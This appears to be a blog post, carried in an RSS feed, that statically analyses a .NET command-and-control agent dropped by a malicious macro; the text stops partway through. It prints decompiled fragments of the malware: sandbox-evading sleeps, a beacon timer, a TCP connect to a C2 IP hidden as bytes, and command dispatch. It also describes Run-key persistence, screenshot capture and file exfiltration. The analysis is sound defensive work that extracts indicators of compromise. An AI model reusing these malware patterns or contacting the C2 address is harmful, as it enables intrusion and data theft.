]]></content:encoded></item><item><title>004 - Analyzing a C2 agent - Part 2: the agent - Static analysis</title><link>https://www.threatanatomy.com/p/004-dotnet-agent/</link><pubDate>Fri, 05 Jan 2024 12:03:49 -0500</pubDate><guid>https://www.threatanatomy.com/p/004-dotnet-agent/</guid><description>In this article, a direct continuation of the previous article, we analyze a C2 agent developed in .NET to identify how it evades defenses, the capabilities it offers, and how we can obtain indicators of compromise from it.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In <a href="/p/003-macro-dropper/">the first part of this article</a>
 we identified that, after implementing certain techniques to make detection more difficult, the malicious macro we analyzed extracted and executed an embedded .exe binary. In this part, we will analyze said binary statically to understand how it works, how we determine that it corresponds to a C2 agent, and what indicators of compromise we can obtain from it.</p>
<p>Due to the length of the article, we will evaluate the binary dynamically in a third installment.</p>
<blockquote>
<p><strong>Disclaimer</strong>: Running malware on a personal or corporate device can put your information/your company&rsquo;s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.</p>
</blockquote>
<h2 id="static-analysis-of-the-executable">
  Static analysis of the executable<a class="heading-anchor" href="#static-analysis-of-the-executable" aria-label="Link to this section">#</a></h2>
<h3 id="identifying-the-binarys-hashes-and-the-development-framework-it-uses">
  Identifying the binary&rsquo;s hashes and the development framework it uses<a class="heading-anchor" href="#identifying-the-binarys-hashes-and-the-development-framework-it-uses" aria-label="Link to this section">#</a></h3>
<p>We start the analysis by obtaining the hash of the executable:</p>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>Algorithm</th>
        <th>Hash</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>MD5</td>
        <td>59211a4e0f27d70c659636746b61945a</td>
      </tr>
      <tr>
        <td>SHA256</td>
        <td>2110af4e9c7a4f7a39948cdd696fcd8b4cdbb7a6a5bf5c5a277b779cc1bf8577</td>
      </tr>
    </tbody>
  </table>
</div>
<p>After opening the binary in <a href="https://www.winitor.com/download" rel="noopener noreferrer external" target="_blank">PEStudio</a>
, we see some interesting things:</p>
<p><figure><img src="/p/004-dotnet-agent/004-pestudio1_hu_8fcd08c044da4ffc.webp" alt="PEStudio Analysis" loading="lazy" decoding="async" width="1246" height="610"><figcaption>PEStudio Analysis</figcaption></figure>
</p>
<ol>
<li>PEStudio identifies the binary as of &ldquo;Microsoft .NET&rdquo; type.</li>
<li>The binary appears to have been compiled on September 05 2023, so it is recent (this value can be altered so it is not 100% reliable).</li>
<li>The path to the &ldquo;debug&rdquo; file of the binary is identified, which contains \obj\Debug, a standard directory created by Visual Studio.</li>
</ol>
<p>These factors seem to suggest that it is a .NET program; additionally, by analyzing some of the other sections provided by PEStudio we can get further confirmation of this:</p>
<p><figure><img src="/p/004-dotnet-agent/004-pestudio2_hu_4908b5550a1b540c.webp" alt="PEStudio Indicators" loading="lazy" decoding="async" width="1248" height="610"><figcaption>PEStudio Indicators</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-pestudio3_hu_4dc632c06c32e34b.webp" alt="PEStudio Imports" loading="lazy" decoding="async" width="1207" height="339"><figcaption>PEStudio Imports</figcaption></figure>
</p>
<ol>
<li>PEStudio identifies the .NET namespace System.Net.Sockets</li>
<li>PEStudio identifies that the program, during its execution, imports <a href="https://learn.microsoft.com/en-us/dotnet/api/?view=net-8.0" rel="noopener noreferrer external" target="_blank">.NET classes</a>
</li>
</ol>
<p>With this information, we can say with near total certainty that the binary corresponds to one developed with the .NET framework. Additionally, we see that PEStudio identifies an IP, which may be an indicator of compromise (IOC) of interest.</p>
<h3 id="decompilation-of-net-binaries">
  Decompilation of .NET binaries<a class="heading-anchor" href="#decompilation-of-net-binaries" aria-label="Link to this section">#</a></h3>
<p>Programs developed in .NET are usually susceptible to decompilation because they are not compiled directly to the binary machine language that the computer understands (the 0&rsquo;s and 1&rsquo;s). Instead, they are compiled to an intermediate language (IL), which is converted during the program&rsquo;s execution to the specific machine language of the environment in which it is running.</p>
<p>Although this framework provides flexibility, the intermediate language contains information about class names, methods, metadata, etc., which allows it to be decompiled and thus, &ldquo;reverted&rdquo; almost to its original form.</p>
<p>There are different tools that allow decompiling a binary created in .NET, among them <a href="https://github.com/icsharpcode/ILSpy" rel="noopener noreferrer external" target="_blank"><em>ILSpy</em></a>
 and <a href="https://github.com/dnSpy/dnSpy" rel="noopener noreferrer external" target="_blank"><em>dnSpy</em></a>
; for this analysis I will use <em>dnSpy</em> due to the debugging capabilities it offers.</p>
<h3 id="initial-analysis-of-the-binary">
  Initial analysis of the binary<a class="heading-anchor" href="#initial-analysis-of-the-binary" aria-label="Link to this section">#</a></h3>
<p>When we open the executable in <em>dnSpy</em>, we validate that we can indeed visualize the code:</p>
<p><figure><img src="/p/004-dotnet-agent/004-dnspy_hu_e22b1c738896289e.webp" alt="dnSpy" loading="lazy" decoding="async" width="918" height="416"><figcaption>dnSpy</figcaption></figure>
</p>
<p>Since analyzing each function called by the executable can be very tedious (especially if it contains garbage code to hinder analysis), we will follow the flow of calls made from the Main method.</p>
<ol>
<li>We verify that when the program starts it calls the Form1 form, which, when initialized, invokes the <strong>InitializeComponent()</strong> method. From this method&rsquo;s configuration we can gather three things:
<ol>
<li>The opacity of the form is set to 0 to make it invisible.</li>
<li>The form is configured not to have an icon in the taskbar.</li>
<li>The method <strong>Form1_Load</strong> is called.</li>
</ol>
</li>
</ol>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="k">void</span> <span class="n">InitializeComponent</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="p">...</span>
</span></span><span class="line"><span class="cl">			<span class="k">base</span><span class="p">.</span><span class="n">Name</span> <span class="p">=</span> <span class="s">&#34;Form1&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">base</span><span class="p">.</span><span class="n">Opacity</span> <span class="p">=</span> <span class="m">0.0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">base</span><span class="p">.</span><span class="n">ShowIcon</span> <span class="p">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">base</span><span class="p">.</span><span class="n">ShowInTaskbar</span> <span class="p">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">Text</span> <span class="p">=</span> <span class="s">&#34;Form1&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">base</span><span class="p">.</span><span class="n">FormClosing</span> <span class="p">+=</span> <span class="k">this</span><span class="p">.</span><span class="n">Form1_FormClosing</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">base</span><span class="p">.</span><span class="n">Load</span> <span class="p">+=</span> <span class="k">this</span><span class="p">.</span><span class="n">Form1_Load</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">...</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<ol start="2">
<li>The <strong>Form1_Load</strong> method stops execution (&ldquo;sleeps&rdquo;) for a few seconds before calling the <strong>corediQart()</strong> method:</li>
</ol>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="k">void</span> <span class="n">Form1_Load</span><span class="p">(</span><span class="kt">object</span> <span class="n">sender</span><span class="p">,</span> <span class="n">EventArgs</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">try</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1010</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">base</span><span class="p">.</span><span class="n">ShowInTaskbar</span> <span class="p">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">base</span><span class="p">.</span><span class="n">Visible</span> <span class="p">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">base</span><span class="p">.</span><span class="n">FormBorderStyle</span> <span class="p">=</span> <span class="n">FormBorderStyle</span><span class="p">.</span><span class="n">SizableToolWindow</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">2050</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1280</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">this</span><span class="p">.</span><span class="n">mainvp</span><span class="p">.</span><span class="n">corediQart</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">catch</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<p>This technique (<a href="https://attack.mitre.org/techniques/T1497/003/" rel="noopener noreferrer external" target="_blank">T1497.003</a>
) is usually used by attackers to evade dynamic analysis tools, many of which are only active for a short period of time and may believe that a binary does not have malicious behavior just because it is not yet executed. In this case, from my point of view, the times are too short to be useful for this technique, so they are probably to give time to other components of the program to finish loading.</p>
<ol start="3">
<li>The <strong>corediQart()</strong> method performs the following actions:
<ol>
<li>Assigns the first port defined in the <em>ports</em> variable to the <em>port</em> variable.</li>
<li>Gets the name of the computer where the program is running, as well as the user running the program and assigns it to the <em>userAiunt</em> variable.</li>
<li>Creates an object of type <em>TimerCallback</em> that calls the <strong>procvQloop</strong> method.</li>
<li>Sets the object of type <em>TimerCallback</em> to run every 58.51 seconds, after initially waiting 49.12 seconds.</li>
</ol>
</li>
</ol>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">		<span class="kd">public</span> <span class="k">void</span> <span class="n">corediQart</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">DIRERRIF</span><span class="p">.</span><span class="n">port</span> <span class="p">=</span> <span class="n">DIRERRIF</span><span class="p">.</span><span class="n">ports</span><span class="p">[</span><span class="m">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">userAiunt</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MRDFINF</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="p">...</span>
</span></span><span class="line"><span class="cl">			<span class="n">TimerCallback</span> <span class="n">callback</span> <span class="p">=</span> <span class="k">new</span> <span class="n">TimerCallback</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">procvQloop</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">Timer</span> <span class="n">timer</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Timer</span><span class="p">(</span><span class="n">callback</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">objeAdate</span><span class="p">,</span> <span class="m">49120</span><span class="p">,</span> <span class="m">58510</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">objeAdate</span><span class="p">.</span><span class="n">timer</span> <span class="p">=</span> <span class="n">timer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">        <span class="kd">public</span> <span class="kd">static</span> <span class="kt">int</span><span class="p">[]</span> <span class="n">ports</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="m">9149</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="m">15198</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="m">17818</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="m">27781</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="m">29224</span>
</span></span><span class="line"><span class="cl">		<span class="p">};</span></span></span></code></pre></div>
</div>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">        <span class="kd">public</span> <span class="n">MRDFINF</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="p">...</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">comtname</span> <span class="p">=</span> <span class="n">SystemInformation</span><span class="p">.</span><span class="n">ComputerName</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">acc_datQtime</span> <span class="p">=</span> <span class="n">Environment</span><span class="p">.</span><span class="n">UserName</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="p">...</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<ol start="4">
<li>Analyzing what the <strong>procvQloop()</strong> method does, it initiates a TCP connection with the IP stored in the <em>min_codns</em> variable; in that variable, the IP is stored as a set of bytes, probably to make detection more difficult:</li>
</ol>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="n">DIRERRIF</span><span class="p">.</span><span class="n">mainwtp</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">DIRERRIF</span><span class="p">.</span><span class="n">min_codns</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">DIRERRIF</span><span class="p">.</span><span class="n">min_codns</span><span class="p">.</span><span class="n">Length</span><span class="p">).</span><span class="n">ToString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="k">this</span><span class="p">.</span><span class="n">maiedet</span> <span class="p">=</span> <span class="k">new</span> <span class="n">TcpClient</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="k">this</span><span class="p">.</span><span class="n">maiedet</span><span class="p">.</span><span class="n">Connect</span><span class="p">(</span><span class="n">DIRERRIF</span><span class="p">.</span><span class="n">mainwtp</span><span class="p">,</span> <span class="n">DIRERRIF</span><span class="p">.</span><span class="n">port</span><span class="p">);</span></span></span></code></pre></div>
</div>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">min_codns</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span><span class="m">49</span><span class="p">,</span> <span class="m">54</span><span class="p">,</span> <span class="m">50</span><span class="p">,</span> <span class="m">46</span><span class="p">,</span> <span class="m">50</span><span class="p">,</span> <span class="m">52</span><span class="p">,</span> <span class="m">53</span><span class="p">,</span> <span class="m">46</span><span class="p">,</span> <span class="m">49</span><span class="p">,</span> <span class="m">57</span><span class="p">,</span> <span class="m">49</span><span class="p">,</span> <span class="m">46</span><span class="p">,</span> <span class="m">50</span><span class="p">,</span> <span class="m">49</span><span class="p">,</span> <span class="m">55</span><span class="p">};</span></span></span></code></pre></div>
</div>
<p>The TCP connection is established with the IP stored in the <em>min_codns</em> variable on the port assigned to the <em>port</em> variable.</p>
<ol start="5">
<li>Once the connection is made, if successful, the <strong>procD_core()</strong> method is called, which performs multiple operations:
<ol>
<li>Gets a response from the previously established TCP connection.</li>
<li>Separates the obtained answer using the &lsquo;=&rsquo; separator.</li>
<li>Based on the first value of the answer (what was before the &lsquo;=&rsquo;) it calls different methods.</li>
</ol>
</li>
</ol>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="k">void</span> <span class="n">procD_core</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="p">...</span>
</span></span><span class="line"><span class="cl">		<span class="kt">string</span><span class="p">[]</span> <span class="n">procss_type</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">get_procsQtype</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">...</span>
</span></span><span class="line"><span class="cl">		<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">procss_type</span><span class="p">[</span><span class="m">0</span><span class="p">].</span><span class="n">ToLower</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">...</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">text</span> <span class="p">==</span> <span class="s">&#34;thyTumb&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">imagiQtails</span><span class="p">(</span><span class="n">procss_type</span><span class="p">[</span><span class="m">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">text</span> <span class="p">==</span> <span class="s">&#34;scyTrsz&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">dsAscrnsize</span><span class="p">(</span><span class="n">procss_type</span><span class="p">[</span><span class="m">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">...</span></span></span></code></pre></div>
</div>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kt">string</span><span class="p">[]</span> <span class="n">get_procsQtype</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">string</span><span class="p">[]</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">5</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">		<span class="k">this</span><span class="p">.</span><span class="n">byteAdesr</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">newWam</span><span class="p">.</span><span class="n">Read</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="kt">int</span> <span class="n">num</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="n">ToInt32</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="kt">byte</span><span class="p">[]</span> <span class="n">array2</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">num</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">		<span class="kt">int</span> <span class="n">num2</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="n">num</span><span class="p">;</span> <span class="n">i</span> <span class="p">&gt;</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">-=</span> <span class="k">this</span><span class="p">.</span><span class="n">byteAdesr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="kt">int</span> <span class="n">count</span> <span class="p">=</span> <span class="p">(</span><span class="n">i</span> <span class="p">&gt;</span> <span class="k">this</span><span class="p">.</span><span class="n">bufeAize</span><span class="p">)</span> <span class="p">?</span> <span class="k">this</span><span class="p">.</span><span class="n">bufeAize</span> <span class="p">:</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">this</span><span class="p">.</span><span class="n">byteAdesr</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">newWam</span><span class="p">.</span><span class="n">Read</span><span class="p">(</span><span class="n">array2</span><span class="p">,</span> <span class="n">num2</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">num2</span> <span class="p">+=</span> <span class="k">this</span><span class="p">.</span><span class="n">byteAdesr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">array2</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">num</span><span class="p">).</span><span class="n">ToString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">text</span><span class="p">.</span><span class="n">Trim</span><span class="p">()</span> <span class="p">==</span> <span class="s">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">result</span> <span class="p">=</span> <span class="kc">null</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">result</span> <span class="p">=</span> <span class="n">text</span><span class="p">.</span><span class="n">Split</span><span class="p">(</span><span class="k">new</span> <span class="kt">char</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="sc">&#39;=&#39;</span>
</span></span><span class="line"><span class="cl">			<span class="p">});</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>Without analyzing the rest of the functions, the behavior of the program already suggests that it might be a C2 agent:</p>
<ol>
<li>Every so often (approximately every minute), it communicates with a server using a non-common IP and a non-common port.</li>
<li>It receives a response from the server, which is composed of two sections.</li>
<li>Based on the first section (commands), it calls methods by passing them the second section (payload/command parameters).</li>
</ol>
<p>Based on this analysis we can assume that the server sends commands to the agent, which executes them. Further analysis will allow us to confirm if it is really a Command and Control agent, as well as the capabilities that this agent has.</p>
<h3 id="analysis-of-c2-agent-functions">
  Analysis of C2 agent functions<a class="heading-anchor" href="#analysis-of-c2-agent-functions" aria-label="Link to this section">#</a></h3>
<p>Since analyzing each function would be very tedious, we will analyze some functions that I found interesting:</p>
<h4 id="list-processes">
  List processes<a class="heading-anchor" href="#list-processes" aria-label="Link to this section">#</a></h4>
<p>As in the macro containing the binary, the use of underscores to separate commands/variables is seen:</p>
<p><figure><img src="/p/004-dotnet-agent/004-lp1_hu_3745c56aaab6b06f.webp" alt="Obfuscation" loading="lazy" decoding="async" width="453" height="149"><figcaption>Obfuscation</figcaption></figure>
</p>
<p>When the &ldquo;geyTtavs&rdquo; command is received, the processes running on the system are obtained and their ID and name are sent to the server using the <strong>loadQData</strong> function:</p>
<p><figure><img src="/p/004-dotnet-agent/004-lp2_hu_b5df9fc9ed1fb215.webp" alt="List Processes" loading="lazy" decoding="async" width="618" height="424"><figcaption>List Processes</figcaption></figure>
</p>
<p>The <strong>loadQData</strong> function sends the type of response to expect, the size of the response and the response to the server.</p>
<p>Just by analyzing the &ldquo;list processes&rdquo; function, we can confirm that it is indeed a Command and Control agent: the program contacts a server, receives an instruction (list processes in this case) and sends the response to the server.</p>
<h4 id="establish-persistence">
  Establish persistence<a class="heading-anchor" href="#establish-persistence" aria-label="Link to this section">#</a></h4>
<p>The registry key <em>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</em> is usually abused by attackers to establish persistence; such technique is <a href="https://attack.mitre.org/techniques/T1547/001/" rel="noopener noreferrer external" target="_blank">listed in MITRE ATT&amp;CK with ID T1547.001</a>
 and <a href="https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" rel="noopener noreferrer external" target="_blank">allows an attacker to run a program when the user logs in</a>
, under the context (permissions) of that user.</p>
<p>We verify that the agent provides the capability to establish persistence. On receiving the command &ldquo;puyTtsrt&rdquo; it creates the registry key with name &ldquo;haijwivetsgVr&rdquo;:</p>
<p><figure><img src="/p/004-dotnet-agent/004-pers1_hu_97542dd5c7f5e57.webp" alt="Establish persistence 1" loading="lazy" decoding="async" width="733" height="68"><figcaption>Establish persistence 1</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-pers2_hu_4dc4274eaf8fb6c6.webp" alt="Establish persistence 2" loading="lazy" decoding="async" width="755" height="159"><figcaption>Establish persistence 2</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-pers3_hu_52e94c86bed2189e.webp" alt="Establish persistence 3" loading="lazy" decoding="async" width="731" height="233"><figcaption>Establish persistence 3</figcaption></figure>
</p>
<p>As before, we see that the path name in the registry has been split using underscores to make identification more difficult.</p>
<h4 id="list-files">
  List files<a class="heading-anchor" href="#list-files" aria-label="Link to this section">#</a></h4>
<p>Upon receiving the &ldquo;flyTes&rdquo; command along with a path, the command lists the files in the path using the <strong>Directory.GetFiles</strong> method, concatenates them using the character &lsquo;&gt;&rsquo; as a separator and sends them to the server:</p>
<p><figure><img src="/p/004-dotnet-agent/004-listfiles_hu_dcc6cebafd89460a.webp" alt="Listing files" loading="lazy" decoding="async" width="472" height="179"><figcaption>Listing files</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-listfiles2_hu_c27f0efa642044fd.webp" alt="Read directory" loading="lazy" decoding="async" width="523" height="248"><figcaption>Read directory</figcaption></figure>
</p>
<h4 id="take-screenshots">
  Take screenshots<a class="heading-anchor" href="#take-screenshots" aria-label="Link to this section">#</a></h4>
<p>The &ldquo;cdyTcrgn&rdquo;, &ldquo;csyTcrgn&rdquo; and &ldquo;csyTdcrgn&rdquo; commands can be used to take screenshots and send them to the server:</p>
<p><figure><img src="/p/004-dotnet-agent/004-sc1_hu_6866a304038f437a.webp" alt="Screen capture 1" loading="lazy" decoding="async" width="655" height="68"><figcaption>Screen capture 1</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-sc2_hu_fa392221501f8486.webp" alt="Screen capture 2" loading="lazy" decoding="async" width="730" height="284"><figcaption>Screen capture 2</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-sc3_hu_a4a39cd9b2d7a208.webp" alt="Screen capture 3" loading="lazy" decoding="async" width="1028" height="309"><figcaption>Screen capture 3</figcaption></figure>
</p>
<h4 id="file-exfiltration">
  File exfiltration<a class="heading-anchor" href="#file-exfiltration" aria-label="Link to this section">#</a></h4>
<p>The &ldquo;afyTile&rdquo; command can be used to exfiltrate a file from the victim&rsquo;s machine to the server; to do so, it receives the path of the file to exfiltrate as a parameter:</p>
<p><figure><img src="/p/004-dotnet-agent/004-exfilb_hu_8e45e6be85c62ad1.webp" alt="File exfiltration" loading="lazy" decoding="async" width="490" height="155"><figcaption>File exfiltration</figcaption></figure>
</p>
<p><figure><img src="/p/004-dotnet-agent/004-exfila_hu_eeb2140ea2410857.webp" alt="File exfiltration 2" loading="lazy" decoding="async" width="698" height="407"><figcaption>File exfiltration 2</figcaption></figure>
</p>
<p>The information sent back to the server includes the file path, the file name and the contents of the file.</p>
<h4 id="execute-binaries">
